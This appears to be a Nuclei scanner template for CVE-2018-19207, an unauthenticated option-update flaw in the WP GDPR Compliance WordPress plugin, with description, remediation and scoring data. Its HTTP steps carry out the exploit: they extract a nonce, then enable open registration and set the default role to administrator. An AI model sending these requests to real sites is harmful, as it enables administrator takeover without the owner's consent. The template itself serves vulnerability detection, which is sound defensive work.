Description
The WP GDPR Compliance plugin allows unauthenticated users to execute any action and update any database value. This vulnerability is due to the lack of proper validation in the Includes/Ajax.php file.
The WP GDPR Compliance plugin allows unauthenticated users to execute any action and update any database value. This vulnerability is due to the lack of proper validation in the Includes/Ajax.php file.
id: CVE-2018-19207
info:
name: WP GDPR Compliance < 1.4.3 - Unauthenticated Call Any Action or Update Any Option
author: iamnoooob,pdresearch
severity: critical
description: |
The WP GDPR Compliance plugin allows unauthenticated users to execute any action and update any database value. This vulnerability is due to the lack of proper validation in the Includes/Ajax.php file.
impact: |
Unauthenticated attackers can execute any action and update any database value, potentially creating admin accounts, modifying site configuration, or achieving remote code execution.
remediation: |
Upgrade to WP GDPR Compliance version 1.4.3 or later, or remove the plugin if no longer needed.
reference:
- https://wpvulndb.com/vulnerabilities/9157
- https://github.com/aeroot/WP-GDPR-Compliance-Plugin-Exploit
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-19207
cwe-id: CWE-425
epss-score: 0.88065
epss-percentile: 0.99757
cpe: cpe:2.3:a:van-ons:wp-gdpr-compliance:*:*:*:*:*:wordpress:*:*
metadata:
vendor: van-ons
product: wp-gdpr-compliance
framework: wordpress
publicwww-query: "wp-content/plugins/wp-gdpr-compliance/"
verified: true
tags: cve,cve2018,wordpress,wp-plugin,wp-gdpr-compliance,rce,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/"
redirects: true
extractors:
- type: regex
name: nonce
part: body
regex:
- 'var wpgdprcData.*"ajaxSecurity":"([a-z0-9]+)"'
group: 1
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=wpgdprc_process_action&security={{nonce}}&data={"type":"save_setting","append":false,"option":"users_can_register","value":"1"}
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=wpgdprc_process_action&security={{nonce}}&data={"type":"save_setting","append":false,"option":"default_role","value":"administrator"}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- '"message":""'
- '"error":""'
condition: and
- type: word
part: content_type_2
words:
- 'application/json'
# digest: 4a0a00473045022045992a49eedd0dfe88e006dda162d63fcba0a0b3e839d03e4ec4fd747744efa5022100c96a9f0ef5310d8ebe1a6ad8e10f9249a5ca1b9c6727f558761a4144e991d817:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.